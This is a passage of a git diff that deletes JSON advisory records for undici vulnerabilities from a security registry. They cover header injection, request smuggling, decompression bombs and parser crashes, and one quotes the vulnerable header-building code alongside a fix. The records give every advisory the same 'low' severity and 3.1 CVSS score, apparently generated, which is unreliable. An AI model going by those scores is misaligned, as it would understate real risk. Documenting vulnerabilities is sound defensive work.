    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/undici--CVE-2024-30260.json b/08-threat-intel/registry/advisories/undici--CVE-2024-30260.json
    deleted file mode 100644
    index c5ce6032..00000000
    --- a/08-threat-intel/registry/advisories/undici--CVE-2024-30260.json
    +++ /dev/null
    @@ -1,79 +0,0 @@
    -{
    -  "canonical_id": "undici--CVE-2024-30260",
    -  "system_id": "undici",
    -  "display_name": "Undici",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Undici's Proxy-Authorization header not cleared on cross-origin redirect for dispatch, request, stream, pipeline",
    -  "summary": "### Impact\n\nUndici cleared Authorization and Proxy-Authorization headers for `fetch()`, but did not clear them for `undici.request()`.\n\n### Patches\n\nThis has been patched in https://github.com/nodejs/undici/commit/6805746680d27a5369d7fb67bc05f95a28247d75.\nFixes has been released in v5.28.4 and v6.11.1.\n\n### Workarounds\n\nuse `fetch()` or disable `maxRedirections`.\n\n### References\n\nLinzi Shang reported this.\n\n* https://hackerone.com/reports/2408074\n* https://github.com/nodejs/undici/security/advisories/GHSA-3787-6prv-h9w3",
    -  "published_at": "2024-04-04T14:20:39Z",
    -  "updated_at": "2025-11-04T19:44:28Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/nodejs/undici/security/advisories/GHSA-m4v8-wqvr-p9f7",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2024-30260",
    -    "https://github.com/nodejs/undici/commit/64e3402da4e032e68de46acb52800c9a06aaea3f",
    -    "https://github.com/nodejs/undici/commit/6805746680d27a5369d7fb67bc05f95a28247d75",
    -    "https://hackerone.com/reports/2408074",
    -    "https://github.com/nodejs/undici",
    -    "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HQVHWAS6WDXXIU7F72XI55VZ2LTZUB33",
    -    "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NC3V3HFZ5MOJRZDY5ZELL6REIRSPFROJ",
    -    "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/P6Q4RGETHVYVHDIQGTJGU5AV6NJEI67E",
    -    "https://security.netapp.com/advisory/ntap-20240905-0008"
    -  ],
    -  "aliases": [
    -    "CVE-2024-30260",
    -    "GHSA-m4v8-wqvr-p9f7"
    -  ],
    -  "cve_ids": [
    -    "CVE-2024-30260"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-m4v8-wqvr-p9f7"
    -  ],
    -  "osv_ids": [
    -    "GHSA-m4v8-wqvr-p9f7"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<5.28.4",
    -    "introduced=6.0.0, fixed<6.11.1"
    -  ],
    -  "fixed_versions": [
    -    "5.28.4",
    -    "6.11.1"
    -  ],
    -  "package_name": "undici",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/undici/cases/undici-cve-2024-30260.md",
    -  "secure_code_topics": [
    -    "ssrf-url-validation",
    -    "proxy-trust-boundary"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Undici"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/undici--CVE-2024-30261.json b/08-threat-intel/registry/advisories/undici--CVE-2024-30261.json
    deleted file mode 100644
    index feaf3f60..00000000
    --- a/08-threat-intel/registry/advisories/undici--CVE-2024-30261.json
    +++ /dev/null
    @@ -1,79 +0,0 @@
    -{
    -  "canonical_id": "undici--CVE-2024-30261",
    -  "system_id": "undici",
    -  "display_name": "Undici",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Undici's fetch with integrity option is too lax when algorithm is specified but hash value is in incorrect",
    -  "summary": "### Impact\n\nIf an attacker can alter the `integrity` option passed to `fetch()`, they can let `fetch()` accept requests as valid even if they have been tampered.\n\n### Patches\n\nFixed in https://github.com/nodejs/undici/commit/d542b8cd39ec1ba303f038ea26098c3f355974f3.\nFixes has been released in v5.28.4 and v6.11.1.\n\n\n### Workarounds\n\nEnsure that `integrity` cannot be tampered with.\n\n### References\n\nhttps://hackerone.com/reports/2377760",
    -  "published_at": "2024-04-04T14:20:54Z",
    -  "updated_at": "2025-11-04T19:44:42Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/nodejs/undici/security/advisories/GHSA-9qxr-qj54-h672",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2024-30261",
    -    "https://github.com/nodejs/undici/commit/2b39440bd9ded841c93dd72138f3b1763ae26055",
    -    "https://github.com/nodejs/undici/commit/d542b8cd39ec1ba303f038ea26098c3f355974f3",
    -    "https://hackerone.com/reports/2377760",
    -    "https://github.com/nodejs/undici",
    -    "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HQVHWAS6WDXXIU7F72XI55VZ2LTZUB33",
    -    "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NC3V3HFZ5MOJRZDY5ZELL6REIRSPFROJ",
    -    "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/P6Q4RGETHVYVHDIQGTJGU5AV6NJEI67E",
    -    "https://security.netapp.com/advisory/ntap-20240905-0008"
    -  ],
    -  "aliases": [
    -    "CVE-2024-30261",
    -    "GHSA-9qxr-qj54-h672"
    -  ],
    -  "cve_ids": [
    -    "CVE-2024-30261"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-9qxr-qj54-h672"
    -  ],
    -  "osv_ids": [
    -    "GHSA-9qxr-qj54-h672"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<5.28.4",
    -    "introduced=6.0.0, fixed<6.11.1"
    -  ],
    -  "fixed_versions": [
    -    "5.28.4",
    -    "6.11.1"
    -  ],
    -  "package_name": "undici",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/undici/cases/undici-cve-2024-30261.md",
    -  "secure_code_topics": [
    -    "ssrf-url-validation",
    -    "proxy-trust-boundary"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Undici"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/undici--CVE-2025-22150.json b/08-threat-intel/registry/advisories/undici--CVE-2025-22150.json
    deleted file mode 100644
    index 45bf753e..00000000
    --- a/08-threat-intel/registry/advisories/undici--CVE-2025-22150.json
    +++ /dev/null
    @@ -1,80 +0,0 @@
    -{
    -  "canonical_id": "undici--CVE-2025-22150",
    -  "system_id": "undici",
    -  "display_name": "Undici",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Use of Insufficiently Random Values in undici",
    -  "summary": "### Impact\n\n[Undici `fetch()` uses Math.random()](https://github.com/nodejs/undici/blob/8b06b8250907d92fead664b3368f1d2aa27c1f35/lib/web/fetch/body.js#L113) to choose the boundary for a multipart/form-data request. It is known that the output of Math.random() can be predicted if several of its generated values are known.\n\nIf there is a mechanism in an app that sends multipart requests to an attacker-controlled website, they can use this to leak the necessary values. Therefore, An attacker can tamper with the requests going to the backend APIs if certain conditions are met.\n\n### Patches\n\nThis is fixed in 5.28.5; 6.21.1; 7.2.3.\n\n### Workarounds\n\nDo not issue multipart requests to attacker controlled servers.\n\n### References\n\n* https://hackerone.com/reports/2913312\n* https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f\n",
    -  "published_at": "2025-01-21T21:10:47Z",
    -  "updated_at": "2026-02-04T02:29:26.373390Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/nodejs/undici/security/advisories/GHSA-c76h-2ccp-4975",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2025-22150",
    -    "https://github.com/nodejs/undici/commit/711e20772764c29f6622ddc937c63b6eefdf07d0",
    -    "https://github.com/nodejs/undici/commit/c2d78cd19fe4f4c621424491e26ce299e65e934a",
    -    "https://github.com/nodejs/undici/commit/c3acc6050b781b827d80c86cbbab34f14458d385",
    -    "https://hackerone.com/reports/2913312",
    -    "https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f",
    -    "https://github.com/nodejs/undici",
    -    "https://github.com/nodejs/undici/blob/8b06b8250907d92fead664b3368f1d2aa27c1f35/lib/web/fetch/body.js#L113"
    -  ],
    -  "aliases": [
    -    "CVE-2025-22150",
    -    "GHSA-c76h-2ccp-4975"
    -  ],
    -  "cve_ids": [
    -    "CVE-2025-22150"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-c76h-2ccp-4975"
    -  ],
    -  "osv_ids": [
    -    "GHSA-c76h-2ccp-4975"
    -  ],
    -  "affected_versions": [
    -    "introduced=4.5.0, fixed<5.28.5",
    -    "introduced=6.0.0, fixed<6.21.1",
    -    "introduced=7.0.0, fixed<7.2.3"
    -  ],
    -  "fixed_versions": [
    -    "5.28.5",
    -    "6.21.1",
    -    "7.2.3"
    -  ],
    -  "package_name": "undici",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/undici/cases/undici-cve-2025-22150.md",
    -  "secure_code_topics": [
    -    "ssrf-url-validation",
    -    "proxy-trust-boundary"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Undici"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/undici--CVE-2025-47279.json b/08-threat-intel/registry/advisories/undici--CVE-2025-47279.json
    deleted file mode 100644
    index 854e4db7..00000000
    --- a/08-threat-intel/registry/advisories/undici--CVE-2025-47279.json
    +++ /dev/null
    @@ -1,77 +0,0 @@
    -{
    -  "canonical_id": "undici--CVE-2025-47279",
    -  "system_id": "undici",
    -  "display_name": "Undici",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "undici Denial of Service attack via bad certificate data",
    -  "summary": "### Impact\n\nApplications that use undici to implement a webhook-like system are vulnerable. If the attacker set up a server with an invalid certificate, and they can force the application to call the webhook repeatedly, then they can cause a memory leak. \n\n### Patches\n\nThis has been patched in https://github.com/nodejs/undici/pull/4088.\n\n### Workarounds\n\nIf a webhook fails, avoid keep calling it repeatedly.\n\n### References\n\nReported as: https://github.com/nodejs/undici/issues/3895",
    -  "published_at": "2025-05-15T14:15:06Z",
    -  "updated_at": "2026-02-06T22:08:08.311705Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/nodejs/undici/security/advisories/GHSA-cxrh-j4jr-qwg3",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2025-47279",
    -    "https://github.com/nodejs/undici/issues/3895",
    -    "https://github.com/nodejs/undici/pull/4088",
    -    "https://github.com/nodejs/undici/commit/f317618ec28753a4218beccea048bcf89c36db25",
    -    "https://github.com/nodejs/undici"
    -  ],
    -  "aliases": [
    -    "CVE-2025-47279",
    -    "GHSA-cxrh-j4jr-qwg3"
    -  ],
    -  "cve_ids": [
    -    "CVE-2025-47279"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-cxrh-j4jr-qwg3"
    -  ],
    -  "osv_ids": [
    -    "GHSA-cxrh-j4jr-qwg3"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<5.29.0",
    -    "introduced=6.0.0, fixed<6.21.2",
    -    "introduced=7.0.0, fixed<7.5.0"
    -  ],
    -  "fixed_versions": [
    -    "5.29.0",
    -    "6.21.2",
    -    "7.5.0"
    -  ],
    -  "package_name": "undici",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/undici/cases/undici-cve-2025-47279.md",
    -  "secure_code_topics": [
    -    "ssrf-url-validation",
    -    "proxy-trust-boundary"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Undici"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/undici--CVE-2026-1525.json b/08-threat-intel/registry/advisories/undici--CVE-2026-1525.json
    deleted file mode 100644
    index d93082ba..00000000
    --- a/08-threat-intel/registry/advisories/undici--CVE-2026-1525.json
    +++ /dev/null
    @@ -1,77 +0,0 @@
    -{
    -  "canonical_id": "undici--CVE-2026-1525",
    -  "system_id": "undici",
    -  "display_name": "Undici",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Undici has an HTTP Request/Response Smuggling issue",
    -  "summary": "### Impact\n\nUndici allows duplicate HTTP `Content-Length` headers when they are provided in an array with case-variant names (e.g., `Content-Length` and `content-length`). This produces malformed HTTP/1.1 requests with multiple conflicting `Content-Length` values on the wire.\n\n**Who is impacted:**\n  - Applications using `undici.request()`, `undici.Client`, or similar low-level APIs with headers passed as flat arrays\n  - Applications that accept user-controlled header names without case-normalization\n\n**Potential consequences:**\n  - **Denial of Service**: Strict HTTP parsers (proxies, servers) will reject requests with duplicate `Content-Length` headers (400 Bad Request)\n  - **HTTP Request Smuggling**: In deployments where an intermediary and backend interpret duplicate headers inconsistently (e.g., one uses the first value, the other uses the last), this can enable request smuggling attacks leading to ACL bypass, cache poisoning, or credential hijacking\n\n### Patches\n\n Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.\n\n### Workarounds\n\n  If upgrading is not immediately possible:\n\n  1. **Validate header names**: Ensure no duplicate `Content-Length` headers (case-insensitive) are present before passing headers to undici\n  2. **Use object format**: Pass headers as a plain object (`{ 'content-length': '123' }`) rather than an array, which naturally deduplicates by key\n  3. **Sanitize user input**: If headers originate from user input, normalize header names to lowercase and reject duplicates",
    -  "published_at": "2026-03-13T20:07:03Z",
    -  "updated_at": "2026-03-14T09:19:54.772219Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/nodejs/undici/security/advisories/GHSA-2mjp-6q6p-2qxm",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2026-1525",
    -    "https://hackerone.com/reports/3556037",
    -    "https://cna.openjsf.org/security-advisories.html",
    -    "https://cwe.mitre.org/data/definitions/444.html",
    -    "https://github.com/nodejs/undici",
    -    "https://www.rfc-editor.org/rfc/rfc9110.html#section-8.6"
    -  ],
    -  "aliases": [
    -    "CVE-2026-1525",
    -    "GHSA-2mjp-6q6p-2qxm"
    -  ],
    -  "cve_ids": [
    -    "CVE-2026-1525"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-2mjp-6q6p-2qxm"
    -  ],
    -  "osv_ids": [
    -    "GHSA-2mjp-6q6p-2qxm"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<6.24.0",
    -    "introduced=7.0.0, fixed<7.24.0"
    -  ],
    -  "fixed_versions": [
    -    "6.24.0",
    -    "7.24.0"
    -  ],
    -  "package_name": "undici",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/undici/cases/undici-cve-2026-1525.md",
    -  "secure_code_topics": [
    -    "ssrf-url-validation",
    -    "proxy-trust-boundary",
    -    "request-smuggling-boundary"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Undici"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/undici--CVE-2026-1526.json b/08-threat-intel/registry/advisories/undici--CVE-2026-1526.json
    deleted file mode 100644
    index bb0c465c..00000000
    --- a/08-threat-intel/registry/advisories/undici--CVE-2026-1526.json
    +++ /dev/null
    @@ -1,77 +0,0 @@
    -{
    -  "canonical_id": "undici--CVE-2026-1526",
    -  "system_id": "undici",
    -  "display_name": "Undici",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Undici has Unbounded Memory Consumption in WebSocket permessage-deflate Decompression",
    -  "summary": "## Description\n\nThe undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a \"decompression bomb\") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive.\n\nThe vulnerability exists in the `PerMessageDeflate.decompress()` method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold.\n\n## Impact\n\n- Remote denial of service against any Node.js application using undici's WebSocket client\n- A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more\n- Memory exhaustion occurs in native/external memory, bypassing V8 heap limits\n- No application-level mitigation is possible as decompression occurs before message delivery\n\n### Patches\n\nUsers should upgrade to fixed versions.\n\n### Workarounds\n\nNo workaround are possible.",
    -  "published_at": "2026-03-13T20:41:56Z",
    -  "updated_at": "2026-03-13T20:54:25.563997Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/nodejs/undici/security/advisories/GHSA-vrm6-8vpv-qv8q",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2026-1526",
    -    "https://hackerone.com/reports/3481206",
    -    "https://cna.openjsf.org/security-advisories.html",
    -    "https://datatracker.ietf.org/doc/html/rfc7692",
    -    "https://github.com/nodejs/undici",
    -    "https://owasp.org/www-community/attacks/Denial_of_Service"
    -  ],
    -  "aliases": [
    -    "CVE-2026-1526",
    -    "GHSA-vrm6-8vpv-qv8q"
    -  ],
    -  "cve_ids": [
    -    "CVE-2026-1526"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-vrm6-8vpv-qv8q"
    -  ],
    -  "osv_ids": [
    -    "GHSA-vrm6-8vpv-qv8q"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<6.24.0",
    -    "introduced=7.0.0, fixed<7.24.0"
    -  ],
    -  "fixed_versions": [
    -    "6.24.0",
    -    "7.24.0"
    -  ],
    -  "package_name": "undici",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/undici/cases/undici-cve-2026-1526.md",
    -  "secure_code_topics": [
    -    "ssrf-url-validation",
    -    "proxy-trust-boundary",
    -    "plugin-extension-trust-policy"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Undici"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/undici--CVE-2026-1527.json b/08-threat-intel/registry/advisories/undici--CVE-2026-1527.json
    deleted file mode 100644
    index aa3f4f77..00000000
    --- a/08-threat-intel/registry/advisories/undici--CVE-2026-1527.json
    +++ /dev/null
    @@ -1,74 +0,0 @@
    -{
    -  "canonical_id": "undici--CVE-2026-1527",
    -  "system_id": "undici",
    -  "display_name": "Undici",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Undici has CRLF Injection in undici via `upgrade` option",
    -  "summary": "### Impact\n\nWhen an application passes user-controlled input to the `upgrade` option of `client.request()`, an attacker can inject CRLF sequences (`\\r\\n`) to:\n\n1. Inject arbitrary HTTP headers\n2. Terminate the HTTP request prematurely and smuggle raw data to non-HTTP services (Redis, Memcached, Elasticsearch)\n\nThe vulnerability exists because undici writes the `upgrade` value directly to the socket without validating for invalid header characters:\n\n```javascript\n// lib/dispatcher/client-h1.js:1121\nif (upgrade) {\n  header += `connection: upgrade\\r\\nupgrade: ${upgrade}\\r\\n`\n}\n```\n\n### Patches\n\n Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.\n\n### Workarounds\n\nSanitize the `upgrade` option string before passing to undici:\n\n```javascript\nfunction sanitizeUpgrade(value) {\n  if (/[\\r\\n]/.test(value)) {\n    throw new Error('Invalid upgrade value')\n  }\n  return value\n}\n\nclient.request({\n  upgrade: sanitizeUpgrade(userInput)\n})\n```",
    -  "published_at": "2026-03-13T20:41:26Z",
    -  "updated_at": "2026-03-13T20:54:25.572106Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/nodejs/undici/security/advisories/GHSA-4992-7rv2-5pvq",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2026-1527",
    -    "https://hackerone.com/reports/3487198",
    -    "https://cna.openjsf.org/security-advisories.html",
    -    "https://github.com/nodejs/undici"
    -  ],
    -  "aliases": [
    -    "CVE-2026-1527",
    -    "GHSA-4992-7rv2-5pvq"
    -  ],
    -  "cve_ids": [
    -    "CVE-2026-1527"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-4992-7rv2-5pvq"
    -  ],
    -  "osv_ids": [
    -    "GHSA-4992-7rv2-5pvq"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<6.24.0",
    -    "introduced=7.0.0, fixed<7.24.0"
    -  ],
    -  "fixed_versions": [
    -    "6.24.0",
    -    "7.24.0"
    -  ],
    -  "package_name": "undici",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/undici/cases/undici-cve-2026-1527.md",
    -  "secure_code_topics": [
    -    "ssrf-url-validation",
    -    "proxy-trust-boundary"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Undici"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/undici--CVE-2026-1528.json b/08-threat-intel/registry/advisories/undici--CVE-2026-1528.json
    deleted file mode 100644
    index ee7a7d23..00000000
    --- a/08-threat-intel/registry/advisories/undici--CVE-2026-1528.json
    +++ /dev/null
    @@ -1,74 +0,0 @@
    -{
    -  "canonical_id": "undici--CVE-2026-1528",
    -  "system_id": "undici",
    -  "display_name": "Undici",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Undici: Malicious WebSocket 64-bit length overflows parser and crashes the client",
    -  "summary": "### Impact\nA server can reply with a WebSocket frame using the 64-bit length form and an extremely large length. undici's ByteParser overflows internal math, ends up in an invalid state, and throws a fatal TypeError that terminates the process. \n\n### Patches\n\n\n Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.\n\n### Workarounds\n\nThere are no workarounds.",
    -  "published_at": "2026-03-13T20:07:26Z",
    -  "updated_at": "2026-03-14T09:17:45.838435Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/nodejs/undici/security/advisories/GHSA-f269-vfmq-vjvj",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2026-1528",
    -    "https://hackerone.com/reports/3537648",
    -    "https://cna.openjsf.org/security-advisories.html",
    -    "https://github.com/nodejs/undici"
    -  ],
    -  "aliases": [
    -    "CVE-2026-1528",
    -    "GHSA-f269-vfmq-vjvj"
    -  ],
    -  "cve_ids": [
    -    "CVE-2026-1528"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-f269-vfmq-vjvj"
    -  ],
    -  "osv_ids": [
    -    "GHSA-f269-vfmq-vjvj"
    -  ],
    -  "affected_versions": [
    -    "introduced=6.0.0, fixed<6.24.0",
    -    "introduced=7.0.0, fixed<7.24.0"
    -  ],
    -  "fixed_versions": [
    -    "6.24.0",
    -    "7.24.0"
    -  ],
    -  "package_name": "undici",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/undici/cases/undici-cve-2026-1528.md",
    -  "secure_code_topics": [
    -    "ssrf-url-validation",
    -    "proxy-trust-boundary"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Undici"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/undici--CVE-2026-22036.json b/08-threat-intel/registry/advisories/undici--CVE-2026-22036.json
    deleted file mode 100644
    index 5754d354..00000000
    --- a/08-threat-intel/registry/advisories/undici--CVE-2026-22036.json
    +++ /dev/null
    @@ -1,73 +0,0 @@
    -{
    -  "canonical_id": "undici--CVE-2026-22036",
    -  "system_id": "undici",
    -  "display_name": "Undici",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Undici has an unbounded decompression chain in HTTP responses on Node.js Fetch API via Content-Encoding leads to resource exhaustion",
    -  "summary": "### Impact\n\nThe `fetch()` API supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, br). This is also supported by the undici decompress interceptor.\n\nHowever, the number of links in the decompression chain is unbounded and the default maxHeaderSize allows a malicious server to insert thousands compression steps leading to high CPU usage and excessive memory allocation.\n\n### Patches\n\nUpgrade to 7.18.2 or 6.23.0.\n\n### Workarounds\n\nIt is possible to apply an undici interceptor and filter long `Content-Encoding` sequences manually.\n\n### References\n\n* https://hackerone.com/reports/3456148\n* https://github.com/advisories/GHSA-gm62-xv2j-4w53\n* https://curl.se/docs/CVE-2022-32206.html",
    -  "published_at": "2026-01-14T21:06:08Z",
    -  "updated_at": "2026-02-04T02:56:17.456091Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/nodejs/undici/security/advisories/GHSA-g9mf-h72j-4rw9",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2026-22036",
    -    "https://github.com/nodejs/undici/commit/b04e3cbb569c1596f86c108e9b52c79d8475dcb3",
    -    "https://github.com/nodejs/undici"
    -  ],
    -  "aliases": [
    -    "CVE-2026-22036",
    -    "GHSA-g9mf-h72j-4rw9"
    -  ],
    -  "cve_ids": [
    -    "CVE-2026-22036"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-g9mf-h72j-4rw9"
    -  ],
    -  "osv_ids": [
    -    "GHSA-g9mf-h72j-4rw9"
    -  ],
    -  "affected_versions": [
    -    "introduced=7.0.0, fixed<7.18.2",
    -    "introduced=0, fixed<6.23.0"
